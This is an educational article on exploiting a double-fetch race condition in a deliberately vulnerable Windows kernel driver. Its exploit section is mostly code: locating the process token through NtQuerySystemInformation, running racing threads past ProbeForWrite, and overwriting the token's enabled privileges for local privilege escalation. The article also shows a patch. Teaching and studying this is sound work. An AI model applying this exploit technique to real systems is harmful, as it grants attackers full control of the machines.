Hacking

Exploiting Windows DRIVERS: Double-fetch Race Condition Vulnerability

Souhail Hammou
July 12, 2016 by
Souhail Hammou

Introduction

A race condition occurs when two or multiple running threads manipulate the same resources without any synchronization mechanism regulating access to these resources. The presence of race conditions often leads to undesirable behavior ranging from erroneous results to a complete crash of the program. In this article, we will be looking into a special type of race condition vulnerabilities: the double-fetch vulnerability and using it to escalate privileges on the system.

In contrast to typical race condition vulnerabilities where the program itself is the one creating the threads and running them, double-fetch race condition exploitation requires the attacker himself to create the competing threads. To understand the reason behind this, we need to know what causes this specific bug, and how an attacker might approach it.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

A simple example

Let's demonstrate how this vulnerability works using this example:

[ … ]

if ( transaction[amount].value < 50.0 )

{

    double amount = transaction[amount].value;

bool conf = Prompt(" Sending the amount of $" + amount + " with no taxes applied", TYPE_YES_NO);

If ( conf )

{

ReqServer_SendMoney([. . . ] , amount , [ … ] , NO_TAX);

    User.transactions_number++;

}

[...]

}

[...]

Imagine now an attacker with the goal of sending money without being subject to any taxes. For the sake of this example, let's ignore all the other simpler ways to exploit this insecure application, in fact, it shouldn't even be programmed for client side.

The logic is simple: If the transaction amount is below $50, let the user know that no taxes will be applied and confirm his choice, then request the server to perform the transaction. Now, notice how the amount is read from memory twice (lines in bold), this is where the application is exposed to the vulnerability. The attacker could, for example, inject two threads into the application, one that invokes this routine over and over and a second one that keeps switching the value of transaction[amount].value from $49, for example, to the desired amount which is greater than $50.

The injected threads would look like this:

Thread01

{

/*get addresses of interest from memory*/

[ … ]

int transaction_number = User->transactions_number;

while ( transaction_number == User->transactions_number )

{

transaction[amount].value = 48;

SendMoney(.....);

}

TerminateThread(Thread02);

ExitThread();

}

Thread02

{

/*get addresses of interest from memory*/

[ … ]

while ( true )

{

transaction[amount].value = 4500;

transaction[amount].value = 48;

}

}

When the attacker is lucky enough, what happens is that the value read in the "if" clause is 48. Then quickly, it gets changed to 4500 by Thread02 before being read again by the program. The attacker is then prompted with the following message: "Sending the amount of $4500 with no taxes applied" and he'll gladly confirm the transaction.

The vulnerable driver

The double-fetch vulnerability isn't as interesting in user mode as it is in kernel mode, this is mainly because the kernel knows no boundaries. In this article, we will take advantage of a double-fetch vulnerability found in a kernel-mode driver to escalate privileges on the system. The kernel-mode driver, as well as the user-mode exploit, can be found on my GitHub (link in the references below ).

An overview of the driver

When our vulnerable kernel-mode driver (rcdriver) loads, it registers an IOCTL handler ( RcIoCtl ). This vulnerable handler uses "METHOD_BUFFERED", meaning that the input buffer supplied from user-mode will be copied to kernel-mode memory. The driver would then access the IRP SystemBuffer to get an address to where the input resides.

Our driver expects a certain input from the user; it is defined as follows:

typedef struct

{

int* UserAddress;

}Ustruct;

typedef struct

{

int field1;

Ustruct* ustruct;

int field3;

int field4;

}UserStruct,*PUserStruct;

If field1 is equal to 0x1586 and field3 contains 0x1844, it will perform a simple calculation and store the result at the memory location pointed by UserAddress.

Note that there are two user-mode virtual memory addresses present in both these structures: UserStruct.ustruct field and Ustruct.UserAddress field, so before performing any actions on these addresses (read/write) the driver must call ProbeForRead and ProbeForWrite routines. In this case ProbeForRead on UserStruct.ustruct, and ProbeForWrite on Ustruct.UserAddress.

The vulnerability

The driver is exposed to the vulnerability because it fetches ustruct->UserAddress from user-mode memory twice :

__try

{

ProbeForWrite(ustruct->UserAddress,sizeof(int*),__alignof(int*)); // first fetch

} __except (EXCEPTION_EXECUTE_HANDLER) { [...] return status; }

[...]

/*second fetch*/

*ustruct->UserAddress = num; // num : a calculated integer based on input from user-mode

To successfully exploit this bug, an attacker must supply a valid user-mode address to ProbeForWrite and then quickly change the UserAddress field to a kernel-mode address where the num integer will be written.

Patching the vulnerability

To patch this vulnerability, one must simply avoid fetching the value multiple times from the user-mode memory. A potential fix for it might look like this:

int* Addr = ustruct->UserAddress; // fetch only once from user-mode memory

__try

{

ProbeForWrite(Addr,sizeof(int*),__alignof(int*));

} __except (EXCEPTION_EXECUTE_HANDLER) { [...] return status; }

[...]

*Addr = num; // num : a calculated integer based on input from user-mode

Privilege Escalation: The user-mode exploit

Now that we understood where exactly is the vulnerability and how we can trigger it, it is now time to see how we might benefit from it. When the "race is won", meaning that we bypassed ProbeForWrite routine, we're facing a write-what-where condition.

The vulnerable driver allows us to write 4 bytes ( sizeof(int) ) at any memory location in the kernel space. And even better, we can trigger the vulnerability multiple times to write as much as we need, wherever we need to.

For our example, I chose a trick presented by Cesar Cerrudo at "Blackhat US 2012" that takes advantage of the process token object to enable privileges on the attacker's process. For this trick to work, we need to be able to write 4 bytes at the TokenObject->Privileges.Enabled field. In my case, I want to enable the maximum number of privileges, so I have to simply write 0xFFFFFFFF there.

We first start by getting a handle to our process's token:

OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken)

Then calling NtQuerySystemInformation with the SystemHandleInformation class. This function returns a SYSTEM_HANDLE_INFORMATION structure containing an array of SYSTEM_HANDLE structures.

typedef struct _SYSTEM_HANDLE

{

    ULONG ProcessId;

    BYTE ObjectTypeNumber;

    BYTE Flags;

    USHORT Handle;

    PVOID Object;

    ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

As you can see, it is possible thanks to NtQuerySystemInformation to get the kernel address to our token object from the Object field.

Note that to get the correct Object address; we need to compare the ProcessId field to our current process id since handle values can be the same for different processes (A handle table for each process ).

Here's how to do it:

unsigned int i;

for ( i = 0 ; i < SysHInfo->HandleCount ; ++i )

{

SYSTEM_HANDLE handle = SysHInfo->Handles[i];

if ( GetCurrentProcessId() == handle.ProcessId && hToken == (HANDLE) handle.Handle )

{

TokenObject = (BYTE*)(handle.Object);

printf("Token object at : %pn",TokenObject);

/* TokenObject->Privileges.Enabled */

TokenObject += 0x48;

break;

}

}

Now that all is set, we need to create the two threads responsible for triggering the double-fetch race condition.

Let's start by examining the second thread first:

DWORD WINAPI RaceThread02(LPVOID lpParam)

{

Ustruct* u = *(Ustruct **) lpParam;

int* oldaddr = u->UserAddress;

while ( true )

{

u->UserAddress = (int*)(TokenObject); //Points to the Enabled field

for(int i=0;i<666;i++); // to increase our chances a bit

u->UserAddress = oldaddr;

}

return 0;

}

Similar to the one used in the introductory example, this thread keeps switching the values of the UserAddress field "hoping" that ProbeForWrite will be bypassed, and the value of UserAddress when written to is pointing to kernel memory.

Moving on to the first thread which is the second thread's parent. This is because it needs to allocate the resources first (structures), then pass them to the second thread that will play with their values. This is how Thread01 does the allocation and initialization:

int* userint = new int;

UserStruct* userstruct = new UserStruct;

Ustruct* ustruct = new Ustruct;

userstruct->field1 = 0x1586;

userstruct->field3 = 0x1844;

userstruct->field4 = 0xFFFF9643;

userstruct->ustruct = ustruct;

userstruct->ustruct->UserAddress = userint;

The value of field4 is intentionally chosen so that the result of the calculation in kernel-mode will result in 0xFFFFFFFF : the value we'll be writing to the Enabled field of the token.

After initializing the structures, we need to create the second thread and then enter a loop where we send an I/O request to the vulnerable driver with the userstruct as input.

while ( true )

{

DWORD Bytesr;

userstruct->ustruct->UserAddress = userint;

*userint = 0;

if ( DeviceIoControl(*(HANDLE*)Params,0x22e054,userstruct,sizeof(UserStruct),NULL,NULL,&Bytesr,NULL) && *userint == 0 )

{

break;

}

}

As you can see, we don't exit the loop until the device driver returns a success code, and the value of where the result was supposed to be is the same value with which we initialized it. In other words, this means that the kernel-mode driver successfully wrote 0xFFFFFFFF to the process token. Thus, we've successfully escalated privileges on the system.

Running the exploit

Let's suppose that the driver is already running and open our exploit.

    

Let's see the process's privileges before the race condition is triggered:

Quite limited, we can't do anything interesting using our current privileges. Some seconds after, the exploit tells us that we escalated privileges on the system.

Let's see if that's true:

We see that SeShutdownPrivilege and SeUndockPrivilege were the one Enabled, but our exploit enabled a whole bunch of them.

The reason behind this is simple; Process Explorer only shows the privileges that are marked in the field Present (TokenObject->Privileges.Present). However, we can still perform privileged tasks because if the privilege is marked on the Enabled field( TokenObject->Privileges.Enabled ), Windows doesn't perform any checks to see if it is also marked on the Present field.

This is what Process Explorer would have shown us if it worked as intended:

You can see that after writing to the process token, we can do pretty much anything on the system. From handling files to loading kernel-mode drivers (SeLoadDriverPrivilege), to reading/writing to processes (SeDebugPrivilege), to shutting down the computer (SeShutdownPrivilege), etc.

References

Driver and Exploit Source code:

https://github.com/SouhailHammou/Drivers/tree/master/double-fetch-racecondition

Cesar Cerrudo's Blackhat US 2012 slides:

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf

Souhail Hammou
Souhail Hammou

Souhail Hammou is a Moroccan reverse engineering enthusiast who likes to spend most of his time exploring Windows Internals and playing in CTF contests.